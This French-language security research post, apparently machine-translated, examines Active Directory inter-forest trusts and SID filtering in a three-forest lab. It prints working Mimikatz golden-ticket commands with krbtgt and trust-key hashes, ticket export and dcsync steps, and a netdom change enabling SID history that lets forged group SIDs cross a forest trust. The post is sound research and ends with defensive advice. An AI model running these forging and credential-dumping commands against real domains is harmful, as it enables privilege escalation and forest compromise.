Forêts de forêt Active Directory partie 1 – Comment fonctionne le filtrage SID ?

Ce billet est le premier d’une série sur les fiducies Active Directory inter-forêts. Il expliquera ce que sont exactement les trusts de forêt et comment ils sont protégés avec le filtrage SID. Si vous êtes novice en matière de trusts Active Directory, je vous recommande de commencer par lire le guide approfondi de harmj0y à leur sujet. Après avoir lu son (excellent) article, j’ai eu beaucoup de questions sur la façon dont cela fonctionne réellement sous le capot et comment les trusts au sein d’une même forêt AD se comparent aux trusts entre différentes forêts. Cette série de blogs est à la fois mon voyage et ma documentation sur la façon dont j’ai fait des recherches sur ce sujet et comment je le comprends maintenant. Préparez-vous à une plongée profonde dans les trusts, Kerberos, les billets d’or, mimikatz et impacket !

Ce post abordera les trusts entre différentes forêts. Une forêt est une collection d’un ou plusieurs domaines, qui font partie d’une ou plusieurs arborescences de domaines. Dans les organisations ne comportant qu’un seul domaine, ce domaine constitue également l’ensemble de la forêt. Dans la documentation Microsoft, les trusts sont souvent appelés soit interforêts (trusts entre deux forêts différentes), soit intraforêts (trusts entre domaines de la même forêt). Comme ces mots me déroutent toujours, dans ce billet, je les appellerai soit trusts intraforestiers, soit trusts interforestiers (ou interforestiers). Il est également important de garder à l’esprit que si nous discutons des trusts entre deux forêts, les trusts sont toujours définis entre domaines. Les trusts de forêt ne peuvent être créés qu’entre deux domaines racines de forêts différentes, donc toute mention dans ce post d’un trust de forêt est le trust entre deux domaines racines différents.

Au sein d’une seule forêt, tous les domaines se font confiance et vous pouvez escalader d’un domaine compromis à tous les autres, comme l’explique la recherche de Sean Metcalf sur les trusts de domaine. Pour réitérer : Un domaine Active Directory n’est pas une frontière de sécurité, une forêt Active Directory l’est.

Nous allons également parler des identifiants de sécurité (SID). Un SID est quelque chose qui identifie de manière unique un principal de sécurité, tel qu’un utilisateur, un groupe ou un domaine. L’un des domaines dans les forêts de test a SID S-1-5-21-3286968501-24975625-1618430583. Le groupe bien connu Domain Admins, qui a l’ID 512, a le SID composé du SID du domaine et de l’ID (appelé RID dans la terminologie AD), ce qui lui donne le SID S-1-5-21-3286968501-24975625-1618430583-512 dans ce domaine.

La configuration

La configuration contient 3 forêts Active Directory : A, B et C. La forêt A et la forêt C ont toutes deux une confiance transitive bidirectionnelle Forest avec la forêt B (nous verrons plus tard ce que cela signifie exactement). La forêt A et la forêt C n’ont pas de confiance l’une envers l’autre. La forêt A est la seule forêt avec deux domaines : forest-a.local et sub.forest-a.local. Comme ces domaines se trouvent tous deux dans la forêt A, ils ont une confiance parent-enfant bidirectionnelle entre eux. La configuration est montrée sur l’image suivante:

Les domaines forest-a et forest-b ont tous deux un contrôleur de domaine et un serveur membre (non montré sur l’image), les autres domaines ne sont constitués que d’un seul contrôleur de domaine. Toute cette configuration fonctionne dans Azure et est gérée par Terraform, qui gère les machines virtuelles, les réseaux, le DNS et la configuration de la forêt, tandis que les Trusts ont été configurés manuellement par la suite.

De A à B, qu’y a-t-il dans un PAC ?

Supposons que nous sommes dans la forêt A et que nous voulons accéder aux ressources de la forêt B. Nous avons notre ticket d’octroi de ticket Kerberos (TGT), qui est valide dans le domaine racine de la forêt A dans laquelle nous sommes actuellement (commodément appelé forest-a). Lorsque nous voulons accéder à des ressources en dehors de notre domaine actuel (soit dans la même forêt, soit dans une forêt différente), Windows a besoin d’un ticket de service pour cette ressource, dans cet exemple forest-b-server.forest-b.local. Notre TGT pour forest-a est bien sûr inutile dans forest-b puisqu’il est crypté avec le hash du compte krbtgt dans forest-a, que forest-b ne possède pas. En termes Kerberos, nous nous authentifions dans un royaume différent. Notre client demande donc en arrière-plan un ticket de service pour la ressource à laquelle nous essayons d’accéder dans forest-b au contrôleur de domaine (DC) de forest-a. Le DC (qui, en termes Kerberos, est un centre de distribution de clés, ou KDC) n’a pas de ressource localement avec le suffixe forest-b.local, il recherche toutes les fiducies avec les forêts qui ont ce suffixe.

Parce qu’il y a une confiance bidirectionnelle entre la forêt A et la forêt B, le DC de forest-a peut nous émettre un ticket de renvoi (TGT) vers forest-b. Ce ticket est signé avec la clé de confiance inter-remurs Kerberos, et contient les groupes dont nous sommes membres dans forest-a. La forêt B acceptera ce ticket et nous accordera un ticket de service pour forest-b-server, que nous pourrons utiliser pour nous authentifier. Une vue d’ensemble schématique est présentée ci-dessous:

Lorsque nous nous connectons sur notre station de travail dans la forêt A au serveur dans la forêt B, nous pouvons voir les tickets avec la commande klist:

Le deuxième ticket à partir du haut est notre TGT initial, que nous pouvons utiliser pour demander le TGT pour forest-b. Vous pouvez voir que ce TGT pour forest-b (en haut) a le principal krbtgt pour forest-b dans le champ serveur. Il s’agit du compte de la forêt A qui est associé à la confiance (ce compte est nommé forest-b$ et réside dans la partie Users du répertoire). Sa partie chiffrée est chiffrée avec la clé de confiance inter-domaines que ces domaines partagent.

Le troisième ticket à partir du haut est le ticket que nous pouvons utiliser dans la forêt B pour y contacter le serveur. C’est un ticket de service qui nous a été donné par le DC de la forêt B. Comme vous pouvez le voir dans le champ Server, ce ticket a été donné et est valide dans le royaume Kerberos FOREST-B.LOCAL.

Maintenant, plongeons dans ce que contient réellement ce ticket. Chaque TGT Kerberos demandé par Windows contient un certificat d’attribut de privilège, ou PAC. Le format est décrit dans MS-PAC sur MSDN. Ce PAC contient entre autres les SIDs des groupes dont nous sommes membres. Afin de voir ce que contient réellement le PAC, nous devons d’abord récupérer les tickets en mémoire. Pour cela, nous utiliserons Mimikatz, avec lequel nous pouvons vider tous les tickets Kerberos sur le disque avec la commande sekurlsa::tickets /export. Bien que Mimikatz contienne en fait du code de débogage Kerberos, je n’ai pas réussi à comprendre comment il fonctionne, et je ne sais pas écrire en C, donc modifier quoi que ce soit était de toute façon hors de question. Heureusement, ma bibliothèque Python préférée, Impacket, prend en charge toutes sortes de fonctions Kerberos. Impacket prend les tickets Kerberos au format ccache, qui n’est pas le format exporté par Mimikatz, mais nous pouvons facilement les convertir avec kekeo. Nous devons juste exécuter la commande misc::convert ccache ourticket.kirbi et Kekeo l’enregistrera comme un fichier .ccache que nous pouvons lire avec Impacket.

Pour décrypter le PAC, j’ai écrit quelques utilitaires basés sur les exemples d’Impacket, que je publie dans le cadre de cette recherche. Bien sûr, pour décrypter les parties cryptées des tickets Kerberos, nous avons besoin des clés de cryptage, donc je les ai extraites pour tous les domaines en utilisant secretsdump.py et son implémentation dcsync. Pour le premier TGT, nous devons ajouter le hachage krbtgt au fichier. Sur la base de la capture d’écran ci-dessus, vous pouvez voir que nous aurons besoin de la clé aes256-cts-hmac-sha1-96 dumpée par secretsdump.

L’outil getcfST.py est utilisé pour demander un ticket de service dans une forêt différente en fonction d’un TGT dans le fichier .ccache (vous pouvez spécifier le fichier à utiliser avec export KRB5CCNAME=myticket.ccaches). Cela va décrypter et vider tout le PAC, dont le résultat peut être vu ici pour ceux qui sont intéressés. J’ai ajouté quelques lignes de code qui impriment les parties importantes pour nous dans un format plus lisible par l’homme:

Username: superuserDomain SID: S-1-5-21-3286968501-24975625-1618430583UserId: 500PrimaryGroupId 513Member of groups: -> 513 (attributes: 7) -> 520 (attributes: 7) -> 512 (attributes: 7) -> 519 (attributes: 7) -> 518 (attributes: 7)LogonServer: forest-a-dcLogonDomainName: forest-aExtra SIDS: -> S-1-18-1

C’est un PAC plutôt par défaut. Nous voyons que nous sommes membres de plusieurs groupes, et comme il s’agit du compte Administrateur (ID 500, bien qu’il ait un nom différent) de la forêt A avec laquelle nous effectuons actuellement des tests, il est membre de plusieurs groupes d’administrateurs par défaut, tels que les Admins de domaine (512) et les Admins d’entreprise (519). Nous avons également l’Extra SID S-1-18-1, qui indique que nous nous authentifions sur la base d’une preuve de possession d’informations d’identification.

Pour décrypter le deuxième TGT, nous devons changer la clé du compte krbtgt pour celle du compte forest-b$, qui est la clé de confiance inter-remurs. Dans ce cas, le PAC est crypté avec RC4, qui utilise le hash NT comme entrée (oui, celui que vous utilisez pour passer le hash). C’est la méthode par défaut, sauf si la case « L’autre domaine supporte le cryptage Kerberos AES » est cochée. Comme on peut le voir dans le dump brut, le PAC n’a pas changé, ce qui soutient l’hypothèse que le DC ré-encrypte simplement le PAC dans le cadre du ticket avec la clé de confiance inter-domaines pour la forêt B.

Le TGS est une histoire légèrement différente. En dehors du fait qu’il nécessite quelques changements dans l’exemple getcfST.py, et qu’il faut spécifier la clé AES-256 du compte d’ordinateur forest-b-server pour le décrypter, nous pouvons voir que plus d’informations ont été ajoutées au PAC (dump brut ici):

Username: superuserDomain SID: S-1-5-21-3286968501-24975625-1618430583UserId: 500PrimaryGroupId 513Member of groups: -> 513 (attributes: 7) -> 520 (attributes: 7) -> 512 (attributes: 7) -> 519 (attributes: 7) -> 518 (attributes: 7)LogonServer: forest-a-dcLogonDomainName: forest-aExtra SIDS: -> S-1-18-1Extra domain groups found! Domain SID:S-1-5-21-2897307217-3322366030-3810619207Relative groups: -> 1107 (attributes: 536870919)

Nous voyons qu’une nouvelle section a été ajoutée, contenant le SID du domaine forest-b et un groupe dont notre compte est membre dans la forêt B. Ces SID font partie des structures ResourceGroup du PAC et servent à stocker les appartenances à tout groupe local de domaine dans le domaine forest-b. Comme expliqué dans ce post par harmj0y, les groupes locaux de domaine sont les seuls groupes qui peuvent contenir des principaux de sécurité d’autres forêts. Dans le domaine forest-b, notre utilisateur superuser de la forêt A est membre du groupe Testgroup2, que vous pouvez voir ci-dessous.

Parce que cela se reflète dans notre PAC, que les serveurs auxquels nous nous authentifions en utilisant notre ticket de service Kerberos utilisent pour l’autorisation, tous les privilèges attribués à Testgroup2 s’appliqueront au compte superutilisateur de la forêt différente. C’est ainsi que l’authentification et l’autorisation fonctionnent à travers les trusts.

Les tickets d’or et le filtrage SID

Il y a quelques années, Sean Metcalf et Benjamin Delphy ont travaillé ensemble pour ajouter le support de l’historique SID à Mimikatz, ce qui a permis l’escalade d’un domaine Active Directory à un autre dans la même forêt. La procédure à suivre est détaillée ici. Comment cela se traduit-il pour les trusts avec une autre forêt ? Créons un ticket d’or avec quelques SIDs intéressants pour voir comment ils sont traités lorsqu’ils traversent la frontière de la forêt. Nous utilisons la commande Mimikatz suivante pour créer un billet d’or dans notre forêt actuelle:

kerberos::golden /domain:forest-a.local /sid:S-1-5-21-3286968501-24975625-1618430583 /rc4:2acc1a3824a47c4fcb21ef7440042e85 /user:Superuser /target:forest-a.local /service:krbtgt /sids:S-1-5-21-3286968501-24975625-1618430583-1604,S-1-5-21-3286968501-24975625-1111111111-1605,S-1-18-1,S-1-5-21-2897307217-3322366030-3810619207-1106 /ptt

Décomposons cette commande. Nous créons un billet d’or dans forest-a, signé avec le hachage krbtgt de forest-a. Comme SIDs supplémentaires, nous incluons quelques SIDs intéressants :

• S-1-5-21-3286968501-24975625-1618430583-1604, le SID d’un groupe dont nous ne sommes pas réellement membre
• S-1-5-21-3286968501-24975625-1111111111-1605, le SID d’un domaine qui n’existe pas réellement
• S-1-18-1, le SID que Windows ajoute indiquant que nous nous sommes authentifiés avec une preuve de possession de crédentielles
• S-1-5-21-2897307217-3322366030-3810619207-1106, un groupe dans forest-b

Le drapeau /ptt injectera le ticket en mémoire, et en naviguant vers \forest-b-server.forest-b.local nous ne voyons pas de message d’erreur, indiquant que le ticket a été utilisé avec succès pour accéder à une ressource dans forest-b. Nous exportons les tickets comme précédemment et les décryptons de la même manière que dans la section précédente.

Le TGT pour forest-a contient les SIDs attendus :

Username: SuperuserDomain SID: S-1-5-21-3286968501-24975625-1618430583UserId: 500PrimaryGroupId 513Member of groups: -> 513 (attributes: 7) -> 512 (attributes: 7) -> 520 (attributes: 7) -> 518 (attributes: 7) -> 519 (attributes: 7)LogonServer: LogonDomainName: FOREST-AExtra SIDS: -> S-1-5-21-3286968501-24975625-1618430583-1604 -> S-1-5-21-3286968501-24975625-1111111111-1605 -> S-1-18-1 -> S-1-5-21-2897307217-3322366030-3810619207-1106

Le TGT que nous avons obtenu pour forest-b du contrôleur de domaine de forest-a, signé avec la clé de confiance inter-remurs, contient en fait exactement les mêmes informations :

Username: SuperuserDomain SID: S-1-5-21-3286968501-24975625-1618430583UserId: 500PrimaryGroupId 513Member of groups: -> 513 (attributes: 7) -> 512 (attributes: 7) -> 520 (attributes: 7) -> 518 (attributes: 7) -> 519 (attributes: 7)LogonServer: LogonDomainName: FOREST-AExtra SIDS: -> S-1-5-21-3286968501-24975625-1618430583-1604 -> S-1-5-21-3286968501-24975625-1111111111-1605 -> S-1-18-1 -> S-1-5-21-2897307217-3322366030-3810619207-1106

Cela suggère à nouveau que le DC ne valide pas le PAC, mais le re-signe simplement avec la clé inter-rem pour forest-b, même s’il contient un groupe dont nous ne sommes pas réellement membre.

Une fois que nous présentons ce TGT au DC dans forest-b, nous obtenons en retour notre ticket de service, qui a le PAC suivant :

Username: SuperuserDomain SID: S-1-5-21-3286968501-24975625-1618430583UserId: 500PrimaryGroupId 513Member of groups: -> 513 (attributes: 7) -> 512 (attributes: 7) -> 520 (attributes: 7) -> 518 (attributes: 7) -> 519 (attributes: 7)LogonServer: LogonDomainName: FOREST-AExtra SIDS: -> S-1-5-21-3286968501-24975625-1618430583-1604 -> S-1-18-1Extra domain groups found! Domain SID:S-1-5-21-2897307217-3322366030-3810619207Relative groups: -> 1107 (attributes: 536870919)

Que s’est-il passé ici ? Nous constatons qu’à nouveau, nos adhésions dans le domaine forest-b ont été ajoutées au PAC, mais que certains SID ont été filtrés. C’est là que le mécanisme de sécurité du filtrage des SID est intervenu, en filtrant tous les SID qui ne font pas partie de forest-a. Les règles de filtrage des SID sont décrites sur MSDN. Les règles intéressantes ici sont celles avec l’entrée ForestSpecific. Ces SIDs ne sont autorisés qu’à partir d’un PAC de la forêt. Comme notre PAC vient de l’extérieur de la forêt, ces SIDs seront toujours filtrés à partir de notre PAC. Les 3 règles qui suivent celles de ForestSpecific s’assurent que tous les SID qui ne proviennent pas de la forêt A sont filtrés. Cela inclut à la fois le SID inexistant que nous avons fourni, ainsi que tout SID non spécifique à la forêt qui existe dans la forêt B.

Cela nous permet toujours de prétendre être n’importe quel utilisateur de la forêt A, donc si des utilisateurs de la forêt A ont reçu des privilèges spéciaux dans la forêt B (ce qui est probablement la raison pour laquelle toute la confiance a été mise en place en premier lieu), ceux-ci sont maintenant compromis.

Détente du filtrage SID

Ce qui a attiré mon attention au début de cette recherche est une option pour les trusts qui n’est disponible que via l’outil netdom, et qui n’apparaît pas dans l’interface graphique. Une des pages de la documentation Microsoft décrit l’autorisation de l’historique des SID sur les trusts inter-forêts. A quoi cela sert-il ? Activons l’historique SID sur la confiance de la forêt B vers A (ce qui affecte les utilisateurs s’authentifiant de A dans B):

C:\Users\superuser>netdom trust /d:forest-a.local forest-b.local /enablesidhistory:yesEnabling SID history for this trust.The command completed successfully.

Alors qu’est-ce qui a changé ? Voyons comment cela se traduit dans l’indicateur TrustAttributes de l’objet Trusted Domain. Vous pouvez interroger cela en utilisant plusieurs outils, ci-dessous vous montre la sortie du fichier domain_trusts.html de ldapdomaindump exécuté contre la forêt B, qui est un outil que j’ai écrit il y a quelque temps pour recueillir des informations AD.

Notre confiance avec la forêt A a maintenant le drapeau TREAT_AS_EXTERNAL. Dans la documentation Microsoft pertinente, il est écrit ce qui suit :

Si ce bit est activé, alors une confiance inter-forêt vers un domaine doit être traitée comme une confiance externe aux fins du filtrage SID. Les trusts cross-forest sont plus rigoureusement filtrés que les trusts externes. Cet attribut assouplit ces trusts inter-forêts pour qu’ils soient équivalents aux trusts externes. Pour plus d’informations sur la façon dont chaque type de trust est filtré, voir la section 4.1.2.2.

Cela renvoie à la section dans qui décrit le filtrage SID. Regardons simplement ce qui se passe si nous offrons le même TGT contre le DC forest-b:

Username: SuperuserDomain SID: S-1-5-21-3286968501-24975625-1618430583UserId: 500PrimaryGroupId 513Member of groups: -> 513 (attributes: 7) -> 512 (attributes: 7) -> 520 (attributes: 7) -> 518 (attributes: 7) -> 519 (attributes: 7)LogonServer: LogonDomainName: FOREST-AExtra SIDS: -> S-1-5-21-3286968501-24975625-1618430583-1604 -> S-1-5-21-3286968501-24975625-1111111111-1605 -> S-1-18-1 -> S-1-5-21-2897307217-3322366030-3810619207-1106Extra domain groups found! Domain SID:S-1-5-21-2897307217-3322366030-3810619207Relative groups: -> 1107 (attributes: 536870919)

Notre ticket de service du DC forest-b inclut maintenant tous les SID que nous avons mis dans notre ticket Mimikatz précédent ! Cela signifie que nous pouvons spécifier tout SID qui n’est pas filtré comme ForestSpecific dans notre PAC et qu’il sera accepté par le DC de la forêt B.

Créons un nouveau ticket doré avec quelques SID supplémentaires pour tester cette hypothèse :

kerberos::golden /domain:forest-a.local /sid:S-1-5-21-3286968501-24975625-1618430583 /rc4:b8e9b4b3feb56c7ba1575bf7fa3dc76f /user:Superuser /target:forest-b.local /service:krbtgt /sids:S-1-5-21-3286968501-24975625-1618430583-1604,S-1-5-21-3286968501-24975625-1111111111-1605,S-1-18-1,S-1-5-21-2897307217-3322366030-3810619207-1106,S-1-5-21-2897307217-3322366030-3810619207-512,S-1-5-21-2897307217-3322366030-3810619207-519,S-1-5-21-2897307217-3322366030-3810619207-548,S-1-5-21-2897307217-3322366030-3810619207-3101

Les nouveaux SID inclus ici :

• S-1-5-21-2897307217-3322366030-3810619207-512 : Admins de domaine, devrait être filtré par une règle explicite spécifique à la forêt
• S-1-5-21-2897307217-3322366030-3810619207-519 : Enterprise Admins, devrait être filtré par la règle explicite ForestSpecific
• S-1-5-21-2897307217-3322366030-3810619207-548 : Opérateurs de compte, devraient être filtrés par la règle ForestSpecific interdisant les SID entre 500 et 1000.
• S-1-5-21-2897307217-3322366030-3810619207-3101 : Est un groupe qui est membre de Domain Admins, ne devrait pas être filtré.

Comme vous l’avez peut-être remarqué, ce qui précède est en fait signé avec la clé de confiance inter-royaume, donc nous créons directement le TGT qui est valable pour la forêt B ici, pour sauter l’étape de l’offrir au DC de la forêt A d’abord.

Maintenant nous obtenons le retour suivant dans le PAC de notre ticket de service :

Username: SuperuserDomain SID: S-1-5-21-3286968501-24975625-1618430583UserId: 500PrimaryGroupId 513Member of groups: -> 513 (attributes: 7) -> 512 (attributes: 7) -> 520 (attributes: 7) -> 518 (attributes: 7) -> 519 (attributes: 7)LogonServer: LogonDomainName: FOREST-AExtra SIDS: -> S-1-5-21-3286968501-24975625-1618430583-1604 -> S-1-5-21-3286968501-24975625-1111111111-1605 -> S-1-18-1 -> S-1-5-21-2897307217-3322366030-3810619207-1106 -> S-1-5-21-2897307217-3322366030-3810619207-3101Extra domain groups found! Domain SID:S-1-5-21-2897307217-3322366030-3810619207Relative groups: -> 1107 (attributes: 536870919)

Quelques choses à noter :

• Les groupes DA/EA/Account Operators sont effectivement supprimés par le filtrage SID
• Le groupe Domain Admins n’est pas ajouté à la partie ResourceGroup du PAC, même si le groupe 3101 est un membre direct de ce groupe. Cela est dû au fait que le groupe Domain Admins est un groupe global, alors que seuls les groupes locaux du domaine sont ajoutés dans le PAC.

Ce que cela signifie pour un attaquant, c’est que vous pouvez usurper n’importe quel groupe RID >1000 si l’historique SID est activé à travers une confiance Forest ! Dans la plupart des environnements, cela permettra à un attaquant de compromettre la forêt. Par exemple, les groupes de sécurité Exchange, qui permettent une escalade de privilèges vers DA dans de nombreuses configurations, ont tous des RID supérieurs à 1000. De plus, de nombreuses organisations ont des groupes personnalisés pour les administrateurs de postes de travail ou les services d’assistance qui reçoivent des privilèges d’administrateur local sur les postes de travail ou les serveurs. Par exemple, je viens de donner au groupe IT-Admins (avec le RID 3101 qui fait partie de notre ticket d’or) des privilèges d’administrateur sur la machine forest-b-server. Après avoir échangé notre TGT contre un ticket de service, nous pouvons nous authentifier avec ce ticket sur la boîte :

Conclusions

Les trusts inter-forêts sont par défaut strictement filtrés et ne permettent à aucun SID extérieur à cette forêt de voyager sur le trust. Un attaquant qui compromet une forêt à laquelle vous faites confiance peut cependant se faire passer pour n’importe quel utilisateur de cette forêt, et ainsi accéder aux ressources qui ont été explicitement accordées aux utilisateurs/groupes de cette forêt.

Si l’historique SID est activé pour une confiance inter-forêt, la sécurité est considérablement affaiblie et les attaquants peuvent usurper l’appartenance à un groupe de n’importe quel groupe avec un RID supérieur à 1000, ce qui, dans la plupart des cas, peut entraîner une compromission de la forêt.Si vous êtes un administrateur informatique, examinez attentivement quels utilisateurs de différentes forêts vous accordez l’accès dans votre forêt, car chaque utilisateur accordé l’accès affaiblit la frontière de sécurité entre les forêts. Je ne recommanderais pas d’autoriser l’historique SID entre les forêts, sauf en cas de nécessité absolue.

Dans la partie suivante (ou les parties, qui sait), nous allons plonger dans le fonctionnement de la Transitivité de la confiance et discuter d’autres types de confiance avec des domaines en dehors de la forêt. Cela signifie que nous commencerons également à jouer avec Forest C et sub.forest-a.

Les outils

Les outils utilisés dans ce post sont disponibles en tant que proof-of-concept sur mon GitHub. Ces outils nécessiteront une modification manuelle pour être utilisables et ne sont fournis qu’AS-IS aux personnes qui veulent reproduire ou plonger plus loin dans cette recherche.